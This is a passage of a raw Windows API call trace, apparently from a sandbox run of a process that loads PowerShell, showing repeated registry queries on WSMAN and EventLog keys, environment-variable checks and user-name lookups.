lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0150.400] GetLastError () returned 0x57 [0150.429] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0150.429] GetLastError () returned 0xcb [0150.439] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0150.440] GetLastError () returned 0xcb [0150.445] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0150.445] GetLastError () returned 0xcb [0150.453] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be6ac | out: phkResult=0x2be6ac*=0x344) returned 0x0 [0150.456] RegQueryInfoKeyW (in: hKey=0x344, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be6fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be700, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be6fc*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be700*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.459] RegEnumValueW (in: hKey=0x344, dwIndex=0x0, lpValueName=0x67b350, lpcchValueName=0x2be724, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x2be724, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.460] RegEnumValueW (in: hKey=0x344, dwIndex=0x1, lpValueName=0x67b350, lpcchValueName=0x2be724, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x2be724, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.460] RegQueryValueExW (in: hKey=0x344, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2be704, lpData=0x0, lpcbData=0x2be700*=0x0 | out: lpType=0x2be704*=0x1, lpData=0x0, lpcbData=0x2be700*=0x8) returned 0x0 [0150.460] RegQueryValueExW (in: hKey=0x344, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2be704, lpData=0x67b350, lpcbData=0x2be700*=0x8 | out: lpType=0x2be704*=0x1, lpData="2.0", lpcbData=0x2be700*=0x8) returned 0x0 [0150.622] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be668 | out: phkResult=0x2be668*=0x314) returned 0x0 [0150.622] RegQueryInfoKeyW (in: hKey=0x314, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be6b8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be6bc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be6b8*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be6bc*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.623] RegEnumValueW (in: hKey=0x314, dwIndex=0x0, lpValueName=0x67b350, lpcchValueName=0x2be6e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x2be6e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.623] RegEnumValueW (in: hKey=0x314, dwIndex=0x1, lpValueName=0x67b350, lpcchValueName=0x2be6e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x2be6e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.623] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2be6c0, lpData=0x0, lpcbData=0x2be6bc*=0x0 | out: lpType=0x2be6c0*=0x1, lpData=0x0, lpcbData=0x2be6bc*=0x8) returned 0x0 [0150.623] RegQueryValueExW (in: hKey=0x314, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2be6c0, lpData=0x67b350, lpcbData=0x2be6bc*=0x8 | out: lpType=0x2be6c0*=0x1, lpData="2.0", lpcbData=0x2be6bc*=0x8) returned 0x0 [0150.626] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0150.626] GetLastError () returned 0xcb [0150.630] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0150.630] GetLastError () returned 0xcb [0150.657] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be628 | out: phkResult=0x2be628*=0x318) returned 0x0 [0150.658] RegQueryInfoKeyW (in: hKey=0x318, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be690, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be68c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be690*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be68c*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.659] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x0, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.660] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x1, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.660] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x2, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.661] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x3, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.661] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x4, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.661] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x5, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.662] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x6, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.662] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x7, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.662] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x8, lpName=0x67b350, lpcchName=0x2be6ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2be6ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.663] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x31c) returned 0x0 [0150.663] RegOpenKeyExW (in: hKey=0x31c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.664] RegOpenKeyExW (in: hKey=0x318, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x338) returned 0x0 [0150.664] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.664] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x348) returned 0x0 [0150.665] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.665] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x34c) returned 0x0 [0150.665] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.666] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x350) returned 0x0 [0150.667] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.667] RegOpenKeyExW (in: hKey=0x318, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x354) returned 0x0 [0150.667] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.668] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x358) returned 0x0 [0150.668] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.668] RegOpenKeyExW (in: hKey=0x318, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x35c) returned 0x0 [0150.669] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x0) returned 0x2 [0150.669] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x360) returned 0x0 [0150.669] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be658 | out: phkResult=0x2be658*=0x364) returned 0x0 [0150.684] RegCloseKey (hKey=0x364) returned 0x0 [0150.685] RegCloseKey (hKey=0x318) returned 0x0 [0150.687] RegCloseKey (hKey=0x360) returned 0x0 [0150.713] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be7a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be7a4) returned 0x1 [0150.719] GetLastError () returned 0x3 [0150.721] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be7ac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be7ac) returned 1 [0150.831] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be60c | out: phkResult=0x2be60c*=0x318) returned 0x0 [0150.831] RegQueryInfoKeyW (in: hKey=0x318, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be674, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be670, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be674*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be670*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.832] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x0, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.832] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x1, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.832] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x2, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.833] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x3, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.833] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x4, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.834] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x5, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.834] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x6, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.834] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x7, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.835] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x8, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.835] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x364) returned 0x0 [0150.836] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.836] RegOpenKeyExW (in: hKey=0x318, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x368) returned 0x0 [0150.836] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.837] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x36c) returned 0x0 [0150.837] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.838] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x370) returned 0x0 [0150.838] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.839] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x374) returned 0x0 [0150.839] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.840] RegOpenKeyExW (in: hKey=0x318, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x378) returned 0x0 [0150.840] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.840] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x37c) returned 0x0 [0150.841] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.842] RegOpenKeyExW (in: hKey=0x318, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x380) returned 0x0 [0150.842] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.843] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x384) returned 0x0 [0150.843] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x388) returned 0x0 [0150.843] RegCloseKey (hKey=0x388) returned 0x0 [0150.844] RegCloseKey (hKey=0x318) returned 0x0 [0150.844] RegCloseKey (hKey=0x384) returned 0x0 [0150.845] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be60c | out: phkResult=0x2be60c*=0x384) returned 0x0 [0150.845] RegQueryInfoKeyW (in: hKey=0x384, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be674, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be670, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be674*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be670*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.845] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x0, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.846] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x1, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.846] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x2, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.847] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x3, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.847] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x4, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.847] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x5, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.848] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x6, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.848] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x7, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.849] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x8, lpName=0x67b350, lpcchName=0x2be690, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2be690, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.849] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x318) returned 0x0 [0150.849] RegOpenKeyExW (in: hKey=0x318, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.850] RegOpenKeyExW (in: hKey=0x384, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x388) returned 0x0 [0150.850] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.851] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x38c) returned 0x0 [0150.851] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.851] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x390) returned 0x0 [0150.852] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.853] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x394) returned 0x0 [0150.853] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.853] RegOpenKeyExW (in: hKey=0x384, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x398) returned 0x0 [0150.854] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.854] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x39c) returned 0x0 [0150.855] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.855] RegOpenKeyExW (in: hKey=0x384, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x3a0) returned 0x0 [0150.855] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x0) returned 0x2 [0150.856] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x3a4) returned 0x0 [0150.856] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be63c | out: phkResult=0x2be63c*=0x3a8) returned 0x0 [0150.857] RegCloseKey (hKey=0x3a8) returned 0x0 [0150.857] RegCloseKey (hKey=0x384) returned 0x0 [0150.859] RegCloseKey (hKey=0x3a4) returned 0x0 [0150.859] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be600 | out: phkResult=0x2be600*=0x3a4) returned 0x0 [0150.860] RegQueryInfoKeyW (in: hKey=0x3a4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2be668, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2be664, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2be668*=0x9, 